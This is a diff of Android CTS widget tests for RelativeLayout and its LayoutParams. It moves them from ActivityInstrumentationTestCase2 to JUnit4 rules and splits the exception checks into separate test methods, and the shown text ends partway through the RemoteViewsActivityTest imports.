diff --git a/tests/tests/widget/src/android/widget/cts/RelativeLayoutCtsActivity.java b/tests/tests/widget/src/android/widget/cts/RelativeLayoutCtsActivity.java
index c394ca4..15d5924 100644
--- a/tests/tests/widget/src/android/widget/cts/RelativeLayoutCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/RelativeLayoutCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 /**
  * A minimal application for RelativeLayout test.
diff --git a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
index 2f3be6f..bebebf2 100644
--- a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
@@ -16,15 +16,19 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.ViewAsserts;
 import android.util.AttributeSet;
 import android.util.Xml;
@@ -36,25 +40,35 @@
 import android.widget.RelativeLayout;
 import android.widget.cts.util.XmlUtils;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 
 /**
  * Test {@link RelativeLayout}.
  */
-public class RelativeLayoutTest extends
-        ActivityInstrumentationTestCase2<RelativeLayoutCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class RelativeLayoutTest {
+    private Instrumentation mInstrumentation;
     private Activity mActivity;
 
-    public RelativeLayoutTest() {
-        super("android.widget.cts", RelativeLayoutCtsActivity.class);
+    @Rule
+    public ActivityTestRule<RelativeLayoutCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RelativeLayoutCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         new RelativeLayout(mActivity);
 
@@ -65,15 +79,15 @@
         XmlPullParser parser = mActivity.getResources().getXml(R.layout.relative_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
         new RelativeLayout(mActivity, attrs);
-
-        try {
-            new RelativeLayout(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
     }
 
-    public void testSetIgnoreGravity() {
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext() {
+        new RelativeLayout(null, null);
+    }
+
+    @Test
+    public void testSetIgnoreGravity() throws Throwable {
         // Initial gravity for this RelativeLayout is Gravity.Right.
         final RelativeLayout relativeLayout = (RelativeLayout) mActivity.findViewById(
                 R.id.relative_sublayout_ignore_gravity);
@@ -86,27 +100,20 @@
         ViewAsserts.assertRightAligned(relativeLayout, view13);
 
         relativeLayout.setIgnoreGravity(R.id.relative_view13);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                relativeLayout.requestLayout();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(relativeLayout::requestLayout);
+        mInstrumentation.waitForIdleSync();
         ViewAsserts.assertRightAligned(relativeLayout, view12);
         ViewAsserts.assertLeftAligned(relativeLayout, view13);
 
         relativeLayout.setIgnoreGravity(0);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                relativeLayout.requestLayout();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(relativeLayout::requestLayout);
+        mInstrumentation.waitForIdleSync();
         ViewAsserts.assertRightAligned(relativeLayout, view12);
         ViewAsserts.assertRightAligned(relativeLayout, view13);
     }
 
-    public void testSetGravity() {
+    @Test
+    public void testAccessGravity() throws Throwable {
         final RelativeLayout relativeLayout = (RelativeLayout) mActivity.findViewById(
                 R.id.relative_sublayout_gravity);
 
@@ -120,48 +127,38 @@
         assertEquals(view11.getTop(), view10.getBottom());
 
         // -- BOTTOM && RIGHT
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                relativeLayout.setGravity(Gravity.BOTTOM | Gravity.RIGHT);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(
+                () -> relativeLayout.setGravity(Gravity.BOTTOM | Gravity.RIGHT));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(Gravity.BOTTOM | Gravity.RIGHT, relativeLayout.getGravity());
         ViewAsserts.assertRightAligned(relativeLayout, view10);
         assertEquals(view11.getTop(), view10.getBottom());
         ViewAsserts.assertRightAligned(relativeLayout, view11);
         ViewAsserts.assertBottomAligned(relativeLayout, view11);
 
         // -- BOTTOM
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                relativeLayout.setGravity(Gravity.BOTTOM);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> relativeLayout.setGravity(Gravity.BOTTOM));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(Gravity.BOTTOM | Gravity.START, relativeLayout.getGravity());
         ViewAsserts.assertLeftAligned(relativeLayout, view10);
         assertEquals(view11.getTop(), view10.getBottom());
         ViewAsserts.assertLeftAligned(relativeLayout, view11);
         ViewAsserts.assertBottomAligned(relativeLayout, view11);
 
         // CENTER_HORIZONTAL
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                relativeLayout.setGravity(Gravity.CENTER_HORIZONTAL);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> relativeLayout.setGravity(Gravity.CENTER_HORIZONTAL));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(Gravity.CENTER_HORIZONTAL | Gravity.TOP,
+                relativeLayout.getGravity());
         ViewAsserts.assertHorizontalCenterAligned(relativeLayout, view10);
         ViewAsserts.assertTopAligned(relativeLayout, view10);
         ViewAsserts.assertHorizontalCenterAligned(relativeLayout, view11);
         assertEquals(view11.getTop(), view10.getBottom());
 
         // CENTER_VERTICAL
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                relativeLayout.setGravity(Gravity.CENTER_VERTICAL);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> relativeLayout.setGravity(Gravity.CENTER_VERTICAL));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(Gravity.CENTER_VERTICAL | Gravity.START, relativeLayout.getGravity());
         ViewAsserts.assertLeftAligned(relativeLayout, view10);
         int topSpace = view10.getTop();
         int bottomSpace = relativeLayout.getHeight() - view11.getBottom();
@@ -170,7 +167,8 @@
         assertEquals(view11.getTop(), view10.getBottom());
     }
 
-    public void testSetHorizontalGravity() {
+    @Test
+    public void testSetHorizontalGravity() throws Throwable {
         final RelativeLayout relativeLayout = (RelativeLayout) mActivity.findViewById(
                 R.id.relative_sublayout_gravity);
 
@@ -184,31 +182,28 @@
         assertEquals(view11.getTop(), view10.getBottom());
 
         // RIGHT
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                relativeLayout.setHorizontalGravity(Gravity.RIGHT);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> relativeLayout.setHorizontalGravity(Gravity.RIGHT));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(Gravity.RIGHT, Gravity.HORIZONTAL_GRAVITY_MASK & relativeLayout.getGravity());
         ViewAsserts.assertRightAligned(relativeLayout, view10);
         ViewAsserts.assertTopAligned(relativeLayout, view10);
         ViewAsserts.assertRightAligned(relativeLayout, view11);
         assertEquals(view11.getTop(), view10.getBottom());
 
         // CENTER_HORIZONTAL
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                relativeLayout.setHorizontalGravity(Gravity.CENTER_HORIZONTAL);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(
+                () -> relativeLayout.setHorizontalGravity(Gravity.CENTER_HORIZONTAL));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(Gravity.CENTER_HORIZONTAL,
+                Gravity.HORIZONTAL_GRAVITY_MASK & relativeLayout.getGravity());
         ViewAsserts.assertHorizontalCenterAligned(relativeLayout, view10);
         ViewAsserts.assertTopAligned(relativeLayout, view10);
         ViewAsserts.assertHorizontalCenterAligned(relativeLayout, view11);
         assertEquals(view11.getTop(), view10.getBottom());
     }
 
-    public void testSetVerticalGravity() {
+    @Test
+    public void testSetVerticalGravity() throws Throwable {
         final RelativeLayout relativeLayout = (RelativeLayout) mActivity.findViewById(
                 R.id.relative_sublayout_gravity);
 
@@ -222,24 +217,20 @@
         assertEquals(view11.getTop(), view10.getBottom());
 
         // BOTTOM
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                relativeLayout.setVerticalGravity(Gravity.BOTTOM);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> relativeLayout.setVerticalGravity(Gravity.BOTTOM));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(Gravity.BOTTOM, Gravity.VERTICAL_GRAVITY_MASK & relativeLayout.getGravity());
         ViewAsserts.assertLeftAligned(relativeLayout, view10);
         assertEquals(view11.getTop(), view10.getBottom());
         ViewAsserts.assertLeftAligned(relativeLayout, view11);
         ViewAsserts.assertBottomAligned(relativeLayout, view11);
 
         // CENTER_VERTICAL
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                relativeLayout.setVerticalGravity(Gravity.CENTER_VERTICAL);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(
+                () -> relativeLayout.setVerticalGravity(Gravity.CENTER_VERTICAL));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(Gravity.CENTER_VERTICAL,
+                Gravity.VERTICAL_GRAVITY_MASK & relativeLayout.getGravity());
         ViewAsserts.assertLeftAligned(relativeLayout, view10);
         int topSpace = view10.getTop();
         int bottomSpace = relativeLayout.getHeight() - view11.getBottom();
@@ -248,6 +239,7 @@
         assertEquals(view11.getTop(), view10.getBottom());
     }
 
+    @Test
     public void testGetBaseline() {
         RelativeLayout relativeLayout = new RelativeLayout(mActivity);
         assertEquals(-1, relativeLayout.getBaseline());
@@ -257,6 +249,7 @@
         assertEquals(view.getBaseline(), relativeLayout.getBaseline());
     }
 
+    @Test
     public void testGenerateLayoutParams1() throws XmlPullParserException, IOException {
         RelativeLayout relativeLayout = new RelativeLayout(mActivity);
 
@@ -268,6 +261,7 @@
         assertEquals(LayoutParams.MATCH_PARENT, layoutParams.height);
     }
 
+    @Test
     public void testGenerateLayoutParams2() {
         RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(200, 300);
 
@@ -278,15 +272,15 @@
                  (RelativeLayout.LayoutParams) myRelativeLayout.generateLayoutParams(p);
          assertEquals(200, layoutParams.width);
          assertEquals(300, layoutParams.height);
-
-        // exceptional value
-         try {
-             myRelativeLayout.generateLayoutParams((ViewGroup.LayoutParams) null);
-             fail("Should throw RuntimeException");
-         } catch (RuntimeException e) {
-         }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGenerateLayoutParamsFromNull() {
+        MyRelativeLayout myRelativeLayout = new MyRelativeLayout(mActivity);
+        myRelativeLayout.generateLayoutParams((ViewGroup.LayoutParams) null);
+    }
+
+    @Test
     public void testGenerateDefaultLayoutParams() {
         MyRelativeLayout myRelativeLayout = new MyRelativeLayout(mActivity);
 
@@ -296,6 +290,7 @@
         assertEquals(ViewGroup.LayoutParams.WRAP_CONTENT, layoutParams.height);
     }
 
+    @Test
     public void testGenerateLayoutParamsFromMarginParams() {
         MyRelativeLayout layout = new MyRelativeLayout(mActivity);
         ViewGroup.MarginLayoutParams lp = new ViewGroup.MarginLayoutParams(3, 5);
@@ -315,14 +310,7 @@
         assertEquals(4, generated.bottomMargin);
     }
 
-    public void testOnMeasure() {
-        // onMeasure() is implementation details, do NOT test
-    }
-
-    public void testOnLayout() {
-        // onLayout() is implementation details, do NOT test
-    }
-
+    @Test
     public void testCheckLayoutParams() {
         MyRelativeLayout myRelativeLayout = new MyRelativeLayout(mActivity);
 
@@ -336,6 +324,7 @@
         assertFalse(myRelativeLayout.checkLayoutParams(p3));
     }
 
+    @Test
     public void testGetRule() {
         RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(0, 0);
         p.addRule(RelativeLayout.LEFT_OF, R.id.abslistview_root);
@@ -351,13 +340,11 @@
     /**
      * Tests to prevent regressions in baseline alignment.
      */
-    public void testBaselineAlignment() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.setContentView(R.layout.relative_layout_baseline);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+    @Test
+    public void testBaselineAlignment() throws Throwable {
+        mActivityRule.runOnUiThread(
+                () -> mActivity.setContentView(R.layout.relative_layout_baseline));
+        mInstrumentation.waitForIdleSync();
 
         View button = mActivity.findViewById(R.id.button1);
         assertTrue(button.getHeight() > 0);
diff --git a/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java
index 5706781..9de034b 100644
--- a/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java
@@ -16,27 +16,49 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 
-import android.test.ActivityInstrumentationTestCase2;
+import android.app.Activity;
+import android.content.res.XmlResourceParser;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.ViewAsserts;
 import android.util.LayoutDirection;
 import android.view.View;
+import android.view.ViewGroup;
 import android.view.ViewGroup.MarginLayoutParams;
 import android.widget.RelativeLayout;
+import android.widget.cts.util.XmlUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.IOException;
 
 /**
  * Test {@link RelativeLayout.LayoutParams}.
  */
-public class RelativeLayout_LayoutParamsTest extends
-        ActivityInstrumentationTestCase2<RelativeLayoutCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class RelativeLayout_LayoutParamsTest {
+    private Activity mActivity;
 
-    public RelativeLayout_LayoutParamsTest() {
-        super("android.widget.cts", RelativeLayoutCtsActivity.class);
+    @Rule
+    public ActivityTestRule<RelativeLayoutCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RelativeLayoutCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
-    public void testConstructor() {
-
+    @Test
+    public void testConstructor() throws XmlPullParserException, IOException {
         RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(200, 300);
         assertEquals(200, layoutParams.width);
         assertEquals(300, layoutParams.height);
@@ -46,22 +68,32 @@
         assertEquals(200, layoutParams.width);
         assertEquals(300, layoutParams.height);
 
+        ViewGroup.LayoutParams tempViewGroupLayoutParams = new ViewGroup.LayoutParams(300, 400);
+        layoutParams = new RelativeLayout.LayoutParams(tempViewGroupLayoutParams);
+        assertEquals(300, layoutParams.width);
+        assertEquals(400, layoutParams.height);
+
         MarginLayoutParams tempMarginLayoutParams = new MarginLayoutParams(400, 500);
         layoutParams = new RelativeLayout.LayoutParams(tempMarginLayoutParams);
         assertEquals(400, layoutParams.width);
         assertEquals(500, layoutParams.height);
 
+        XmlResourceParser p = mActivity.getResources().getLayout(R.layout.relative_layout);
+        XmlUtils.beginDocument(p, "RelativeLayout");
+        layoutParams = new RelativeLayout.LayoutParams(mActivity, p);
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT, layoutParams.width);
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT, layoutParams.height);
+
         // Test RelativeLayout.Params which generated from the xml file.
         int rules[];
-        RelativeLayoutCtsActivity activity = getActivity();
 
         // test attributes used in RelativeLayout.
-        RelativeLayout relativeLayout = (RelativeLayout) activity.findViewById(
+        RelativeLayout relativeLayout = (RelativeLayout) mActivity.findViewById(
                 R.id.relative_sublayout_attrs);
 
         // view1, centered within its parent.
         // TEST: android:layout_centerInParent
-        View view1 = activity.findViewById(R.id.relative_view1);
+        View view1 = mActivity.findViewById(R.id.relative_view1);
         ViewAsserts.assertHorizontalCenterAligned(relativeLayout, view1);
         ViewAsserts.assertVerticalCenterAligned(relativeLayout, view1);
         layoutParams = (RelativeLayout.LayoutParams) (view1.getLayoutParams());
@@ -70,7 +102,7 @@
 
         // view2, below view1 and has same left position with view1.
         // TEST: android:layout_below; android:layout_alignLeft
-        View view2 = activity.findViewById(R.id.relative_view2);
+        View view2 = mActivity.findViewById(R.id.relative_view2);
         ViewAsserts.assertLeftAligned(view1, view2);
         assertEquals(view1.getBottom(), view2.getTop());
         layoutParams = (RelativeLayout.LayoutParams) (view2.getLayoutParams());
@@ -81,7 +113,7 @@
         // view3, has same top position with view1 and same bottom position with view2,
         // and on the right of view1.1.
         // TEST: android:layout_alignTop; android:layout_alignBottom; android:layout_toRightOf
-        View view3 = activity.findViewById(R.id.relative_view3);
+        View view3 = mActivity.findViewById(R.id.relative_view3);
         ViewAsserts.assertTopAligned(view1, view3);
         ViewAsserts.assertBottomAligned(view2, view3);
         assertEquals(view1.getRight(), view3.getLeft());
@@ -93,7 +125,7 @@
 
         // view4, has same right position with view3 and above view3.
         // TEST: android:layout_alignRight; android:layout_above
-        View view4 = activity.findViewById(R.id.relative_view4);
+        View view4 = mActivity.findViewById(R.id.relative_view4);
         ViewAsserts.assertRightAligned(view3, view4);
         assertEquals(view3.getTop(), view4.getBottom());
         layoutParams = (RelativeLayout.LayoutParams) (view4.getLayoutParams());
@@ -103,7 +135,7 @@
 
         // view5 goes on the left-bottom.
         // TEST: android:layout_alignParentBottom; android:layout_alignParentLeft
-        View view5 = activity.findViewById(R.id.relative_view5);
+        View view5 = mActivity.findViewById(R.id.relative_view5);
         ViewAsserts.assertLeftAligned(relativeLayout, view5);
         ViewAsserts.assertBottomAligned(relativeLayout, view5);
         layoutParams = (RelativeLayout.LayoutParams) (view5.getLayoutParams());
@@ -113,7 +145,7 @@
 
         // view6 goes on the top-right.
         // TEST: android:layout_alignParentTop; android:layout_alignParentRight
-        View view6 = activity.findViewById(R.id.relative_view6);
+        View view6 = mActivity.findViewById(R.id.relative_view6);
         ViewAsserts.assertTopAligned(relativeLayout, view6);
         ViewAsserts.assertRightAligned(relativeLayout, view6);
         layoutParams = (RelativeLayout.LayoutParams) (view6.getLayoutParams());
@@ -123,7 +155,7 @@
 
         // view7, has same baseline with view6 and centered horizontally within its parent.
         // TEST: android:layout_alignBaseline; android:layout_centerHorizontal
-        View view7 = activity.findViewById(R.id.relative_view7);
+        View view7 = mActivity.findViewById(R.id.relative_view7);
         ViewAsserts.assertBaselineAligned(view6, view7);
         ViewAsserts.assertHorizontalCenterAligned(relativeLayout, view7);
         layoutParams = (RelativeLayout.LayoutParams) (view7.getLayoutParams());
@@ -133,7 +165,7 @@
 
         // view8, centered vertically within its parent and on the left of view1.
         // TEST: android:layout_toLeftOf; android:layout_centerVertical
-        View view8 = activity.findViewById(R.id.relative_view8);
+        View view8 = mActivity.findViewById(R.id.relative_view8);
         ViewAsserts.assertVerticalCenterAligned(relativeLayout, view8);
         assertEquals(view1.getLeft(), view8.getRight());
         layoutParams = (RelativeLayout.LayoutParams) (view8.getLayoutParams());
@@ -144,7 +176,7 @@
         // view9, has same top and bottom position with view3 and same left position with its parent
         // TEST: android:layout_alignLeft; android:layout_alignTop; android:layout_alignBottom;
         // android:layout_alignWithParentIfMissing
-        View view9 = activity.findViewById(R.id.relative_view9);
+        View view9 = mActivity.findViewById(R.id.relative_view9);
         ViewAsserts.assertTopAligned(view3, view9);
         ViewAsserts.assertBottomAligned(view3, view9);
         ViewAsserts.assertLeftAligned(relativeLayout, view9);
@@ -155,20 +187,20 @@
         assertEquals(R.id.relative_view3, rules[RelativeLayout.ALIGN_BOTTOM]);
     }
 
+    @Test
     public void testStartEnd() {
         RelativeLayout.LayoutParams layoutParams;
 
         // Test RelativeLayout.Params which generated from the xml file.
         int rules[];
-        RelativeLayoutCtsActivity activity = getActivity();
 
         // test attributes used in RelativeLayout.
-        RelativeLayout relativeLayout = (RelativeLayout) activity.findViewById(
+        RelativeLayout relativeLayout = (RelativeLayout) mActivity.findViewById(
                 R.id.relative_sublayout_attrs_2);
 
         // view1, centered within its parent.
         // TEST: android:layout_centerInParent
-        View view1 = activity.findViewById(R.id.relative_view21);
+        View view1 = mActivity.findViewById(R.id.relative_view21);
         ViewAsserts.assertHorizontalCenterAligned(relativeLayout, view1);
         ViewAsserts.assertVerticalCenterAligned(relativeLayout, view1);
         layoutParams = (RelativeLayout.LayoutParams) (view1.getLayoutParams());
@@ -177,7 +209,7 @@
 
         // view2, below view1 and has same left position with view1.
         // TEST: android:layout_below; android:layout_alignStart
-        View view2 = activity.findViewById(R.id.relative_view22);
+        View view2 = mActivity.findViewById(R.id.relative_view22);
         ViewAsserts.assertLeftAligned(view1, view2);
         assertEquals(view1.getBottom(), view2.getTop());
         layoutParams = (RelativeLayout.LayoutParams) (view2.getLayoutParams());
@@ -197,7 +229,7 @@
         // view3, has same top position with view1 and same bottom position with view2,
         // and on the right of view1.1.
         // TEST: android:layout_alignTop; android:layout_alignBottom; android:layout_toEndOf
-        View view3 = activity.findViewById(R.id.relative_view23);
+        View view3 = mActivity.findViewById(R.id.relative_view23);
         ViewAsserts.assertTopAligned(view1, view3);
         ViewAsserts.assertBottomAligned(view2, view3);
         assertEquals(view1.getRight(), view3.getLeft());
@@ -219,7 +251,7 @@
 
         // view4, has same right position with view3 and above view3.
         // TEST: android:layout_alignEnd; android:layout_above
-        View view4 = activity.findViewById(R.id.relative_view24);
+        View view4 = mActivity.findViewById(R.id.relative_view24);
         ViewAsserts.assertRightAligned(view3, view4);
         assertEquals(view3.getTop(), view4.getBottom());
         layoutParams = (RelativeLayout.LayoutParams) (view4.getLayoutParams());
@@ -238,7 +270,7 @@
 
         // view5 goes on the left-bottom.
         // TEST: android:layout_alignParentBottom; android:layout_alignParentStart
-        View view5 = activity.findViewById(R.id.relative_view25);
+        View view5 = mActivity.findViewById(R.id.relative_view25);
         ViewAsserts.assertLeftAligned(relativeLayout, view5);
         ViewAsserts.assertBottomAligned(relativeLayout, view5);
         layoutParams = (RelativeLayout.LayoutParams) (view5.getLayoutParams());
@@ -257,7 +289,7 @@
 
         // view6 goes on the top-right.
         // TEST: android:layout_alignParentTop; android:layout_alignParentEnd
-        View view6 = activity.findViewById(R.id.relative_view26);
+        View view6 = mActivity.findViewById(R.id.relative_view26);
         ViewAsserts.assertTopAligned(relativeLayout, view6);
         ViewAsserts.assertRightAligned(relativeLayout, view6);
         layoutParams = (RelativeLayout.LayoutParams) (view6.getLayoutParams());
@@ -276,7 +308,7 @@
 
         // view7, has same baseline with view6 and centered horizontally within its parent.
         // TEST: android:layout_alignBaseline; android:layout_centerHorizontal
-        View view7 = activity.findViewById(R.id.relative_view27);
+        View view7 = mActivity.findViewById(R.id.relative_view27);
         ViewAsserts.assertBaselineAligned(view6, view7);
         ViewAsserts.assertHorizontalCenterAligned(relativeLayout, view7);
         layoutParams = (RelativeLayout.LayoutParams) (view7.getLayoutParams());
@@ -291,7 +323,7 @@
 
         // view8, centered vertically within its parent and on the left of view1.
         // TEST: android:layout_toStartOf; android:layout_centerVertical
-        View view8 = activity.findViewById(R.id.relative_view28);
+        View view8 = mActivity.findViewById(R.id.relative_view28);
         ViewAsserts.assertVerticalCenterAligned(relativeLayout, view8);
         assertEquals(view1.getLeft(), view8.getRight());
         layoutParams = (RelativeLayout.LayoutParams) (view8.getLayoutParams());
@@ -311,7 +343,7 @@
         // view9, has same top and bottom position with view3 and same left position with its parent
         // TEST: android:layout_alignStart; android:layout_alignTop; android:layout_alignBottom;
         // android:layout_alignWithParentIfMissing
-        View view9 = activity.findViewById(R.id.relative_view29);
+        View view9 = mActivity.findViewById(R.id.relative_view29);
         ViewAsserts.assertTopAligned(view3, view9);
         ViewAsserts.assertBottomAligned(view3, view9);
         ViewAsserts.assertLeftAligned(relativeLayout, view9);
@@ -332,9 +364,10 @@
         layoutParams.resolveLayoutDirection(View.LAYOUT_DIRECTION_LTR);
     }
 
-    public void testAccessRule1() {
+    @Test
+    public void testAccessRuleVerb() {
         RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(200, 300);
-        int rules[]= layoutParams.getRules();
+        int rules[] = layoutParams.getRules();
 
         // normal value
         assertEquals(0, rules[RelativeLayout.CENTER_IN_PARENT]);
@@ -346,24 +379,24 @@
         assertEquals(0, rules[RelativeLayout.ALIGN_LEFT]);
         layoutParams.addRule(RelativeLayout.ALIGN_LEFT);
         assertEquals(RelativeLayout.TRUE, rules[RelativeLayout.ALIGN_LEFT]);
-
-        // exceptional value
-        try {
-            layoutParams.addRule(-1);
-            fail("Should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // issue 1695243, not clear what is supposed to happen when verb is exceptional.
-        }
-
-        try {
-            layoutParams.addRule(Integer.MAX_VALUE);
-            fail("Should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // issue 1695243, not clear what is supposed to happen when verb is exceptional.
-        }
     }
 
-    public void testAccessRule2() {
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testAddRuleVerbTooLow() {
+        RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(200, 300);
+
+        layoutParams.addRule(-1);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testAddRuleVerbTooHigh() {
+        RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(200, 300);
+
+        layoutParams.addRule(Integer.MAX_VALUE);
+    }
+
+    @Test
+    public void testAccessRuleVerbSubject() {
         int rules[];
         RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(200, 300);
 
@@ -393,20 +426,6 @@
         rules = layoutParams.getRules();
         assertEquals(R.id.relative_view1, rules[RelativeLayout.ALIGN_PARENT_LEFT]);
 
-        try {
-            layoutParams.addRule(-1, 0);
-            fail("Should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // issue 1695243, not clear what is supposed to happen when verb is exceptional.
-        }
-
-        try {
-            layoutParams.addRule(Integer.MAX_VALUE, 0);
-            fail("Should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // issue 1695243, not clear what is supposed to happen when verb is exceptional.
-        }
-
         layoutParams.addRule(RelativeLayout.ALIGN_LEFT, Integer.MAX_VALUE);
         rules = layoutParams.getRules();
         assertEquals(Integer.MAX_VALUE, rules[RelativeLayout.ALIGN_LEFT]);
@@ -416,6 +435,21 @@
         assertEquals(Integer.MIN_VALUE, rules[RelativeLayout.ALIGN_LEFT]);
     }
 
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testAddRuleVerbSubjectTooLow() {
+        RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(200, 300);
+
+        layoutParams.addRule(-1, 0);
+    }
+
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testAddRuleVerbSubjectTooHigh() {
+        RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(200, 300);
+
+        layoutParams.addRule(Integer.MAX_VALUE, 0);
+    }
+
+    @Test
     public void testRemoveRule() {
         RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(200, 300);
 
@@ -439,6 +473,7 @@
         assertEquals(0, layoutParams.getRule(RelativeLayout.CENTER_HORIZONTAL));
     }
 
+    @Test
     public void testDebug() {
         RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(200, 300);
         assertNotNull(layoutParams.debug("test: "));
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java
index 369d7aa..5c92e66 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java
@@ -16,35 +16,43 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
-import android.cts.util.NullWebViewUtils;
 import android.os.Parcel;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.InflateException;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.RemoteViews;
 
-import android.widget.cts.R;
